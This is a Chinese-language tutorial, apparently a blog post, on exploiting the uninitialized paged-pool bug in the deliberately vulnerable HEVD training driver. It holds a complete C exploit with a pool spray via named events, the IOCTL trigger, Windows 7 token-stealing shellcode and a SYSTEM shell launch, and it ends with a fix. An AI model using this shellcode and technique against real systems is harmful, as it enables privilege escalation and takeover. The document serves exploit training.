0x00 前言:
windows内核系列:
0x01 漏洞原理:
当我们设置的堆块指针未初始化为NULL时,那么这个变量会被设置为之前堆块上存在的数据,那么我们就存在使用“堆喷”将堆块数据全部设置为某个值,然后该参数就存在设置为我们想要的指定的shellcode地址的可能。
漏洞缺陷定位:
漏洞缺陷函数为:TriggerUninitializedMemoryPagedPool
下面是TriggerUninitializedMemoryPagedPool()调用流程:

函数执行流程:
设置了一个变量UninitializedMemory,然后调用了ExAllocatePoolWithTag()申请一块池空间赋值到UninitializedMemory,其中该池空间在整个程序中都没有被初始化,传入参数UserBuffer赋值到另一个变量v2,然后判断变量v2是否为0xBAD0B0B0,如果为0xBAD0B0B0则将未初始化变量UninitializedMemory赋值到变量UninitializedMemoryPagedPool函数回调地址赋值到UninitializedMemory成员Callback中,不为0xBAD0B0B0则不给UninitializedMemory成员Callback进行赋值操作。然后判断UninitializedMemory是否为NULL,不为NULL则执行UninitializedMemory成员Callback指定的回调函数。

如图,可以看到一旦从用户层传入数据不为0xBAD0B0B0就存在可能利用到未初始化池变量漏洞来跳转到我们的shellcode地址上。
溢出利用
利用EXP:(.c,win32,release生成项目文件)
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
VOID ShellCode() {
__asm {
pushad; 保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad
ret ; Return cleanly
}
}
BOOL init() //链接到HEVD.sys
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE Event_OBJECT[0x1000];
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
char lpName[0xf0] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1; //这里只是为了不等于0xBAD0B0B0
memset(lpName, 0x41, 0xf0); //这里配置的大小必须等于ExAllocatePoolWithTag中设置的大小0xF0
printf("lpName is in 0x%p\n", lpName);
for (int i = 0; i < 256; i++)
{
//**************构造池块**************
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode; //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
//**************构造池块**************
}
for (int i = 0; i < 256; i++)
{
CloseHandle(Event_OBJECT[i]); //将创建的池块释放,释放的池块就为我们构造的shellcode地址
i += 4;
}
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
return 0;
}
一、链接到HEVD.sys
BOOL init() //链接到HEVD.sys
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
二、获取函数TriggerUninitializedMemoryPagedPool()控制码

反汇编IrpDeviceIoCtlHandler函数获取到控制码为0x222033
所以我们可以得出调用TriggerUninitializedMemoryPagedPool()的代码
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
buf指向我们传入数据的指针*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;,为了传入参数不等于0xBAD0B0B0
4表示传入参数的字节数
三、配置堆喷射(Heap Spray)利用
什么是Heap Sprary?
常见的Heap Spray是将堆块空间都填满滑板指令,然后将我们的shellcode指向地址指向一个固定地址(这个地址在大部分可能的情况下将被堆块所覆盖),如0x0c0c0c0c,然后我们就可以调用到0x0c0c0c0c,然后被填充的滑板指令(NOP)一路滑到我们的真实shellcode地址上。
而这种将堆块空间填充的手法我们通常称为Heap Spray。
详细可以参考:Heap Spray原理浅析
我们先建立一个符合UninitializedMemory变量相同大小的池块

如上可以看到池块大小为:0xF0
所以我们代码为:
memset(lpName, 0x41, 0xf0); //这里配置的大小必须等于ExAllocatePoolWithTag中设置的pool size大小0xF0
然后我们需要将构造一个“充满指向我们shellcode地址的池块”的堆空间
由于申请池一开始调用的是Lookaside Lists,而Lookaside Lists表结构中描述最多能存在256个块,最小深度是4,每个4字节 ==0x1000
所以可以编写代码:
HANDLE Event_OBJECT[0x1000];
我们来看看Lookaside Lists的表结构:
typedef struct _GENERAL_LOOKASIDE {
SLIST_HEADER ListHead; //内存链表
USHORT Depth; //当前内存列表的最大深度
USHORT MaximumDepth; //整个look aside运行的最大深度
ULONG TotalAllocates; //总共分配了多少次内存
union {
ULONG AllocateMisses; //分配失败的内存,通过Allocate分配
ULONG AllocateHits;
};
ULONG TotalFrees;
union {
ULONG FreeMisses;
ULONG FreeHits;
};
POOL_TYPE Type;
ULONG Tag;
ULONG Size;
PALLOCATE_FUNCTION Allocate; //分配函数
PFREE_FUNCTION Free; //释放函数sss
LIST_ENTRY ListEntry; //ExNPagedLookasideListHead链表
ULONG LastTotalAllocates;
union {
ULONG LastAllocateMisses;
ULONG LastAllocateHits;
};
ULONG Future[2];
} GENERAL_LOOKASIDE, *PGENERAL_LOOKASIDE;
typedef struct _NPAGED_LOOKASIDE_LIST {
GENERAL_LOOKASIDE L;
KSPIN_LOCK Lock;
} NPAGED_LOOKASIDE_LIST, *PNPAGED_LOOKASIDE_LIST;
其中header占用了0x8
根据源码分析,我们可以看到Callback成员处于_UNINITIALIZED_MEMORY_POOL结构体+0x4上,所以我们需要将shellcode地址设置到“池块+0x4”上
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;
当然这个在实战中是Fuzzing出来的

由上图我们还可以知道整个_UNINITIALIZED_MEMORY_POOL结构体的实际大小为:0x60,所以我们申请0xF0大小的池空间,但实际占用的只有0x60,所以我们实际可以将lpName设置为0xF0,因为占用了_UNINITIALIZED_MEMORY_POOL空间后还有很多剩余可以给Header
char lpName[0xf0] = { 0 };
在我们可以使用CreateEventA函数申请池空间,其中调用参数lpName将分页池给设置成我们需要的数据
但由于lpName需要每个lpName都不相同,所以我们需要将其设置每个都不同
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
然后我们就可以循环执行CreateEventA函数256次来将池块空间都设置为我们想要的shellcode地址块
所以完整构建池块的代码:
char lpName[0xf0] = { 0 };
HANDLE Event_OBJECT[0x1000]; //固定最多存在256个块
for (int i = 0; i < 256; i++) //注意这里的256,表示256个块
{
//**************构造池块**************
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode; //根据源码获取到Callback成员在_UNINITIALIZED_MEMORY_POOL结构体+0x4上
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName); //只有lpName一个参数有数据
//**************构造池块**************
}
然后我们要将所有池块释放进而再执行TriggerUninitializedMemoryPagedPool()中的ExAllocatePoolWithTag()函数来获取到我们已经释放的哪些指向shellcode的空闲池块
注意点:由于每个Lookaside Lists表最小深度是4,所以我们释放池块时是每隔4个块释放一次
for (int i = 0; i < 256; i++)
{
CloseHandle(Event_OBJECT[i]); //将创建的池块释放,释放的池块就为我们构造的shellcode地址
i += 4; //每隔4个块
}
四、配置shellcode函数
shellcode将系统进程的Token拷贝到了我们的exp进程上
VOID ShellCode() {
__asm {
pushad ; 保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad
ret ; Return cleanly
}
}
五、配置使用本进程Token启动CMD
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
0x02 利用成功:

0x03 修复方案:
在判断v2不等于0xBAD0B0B0是要执行下面语句对UninitializedMemory释放且设置为NULL
ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
UninitializedMemory = NULL;
跳跳糖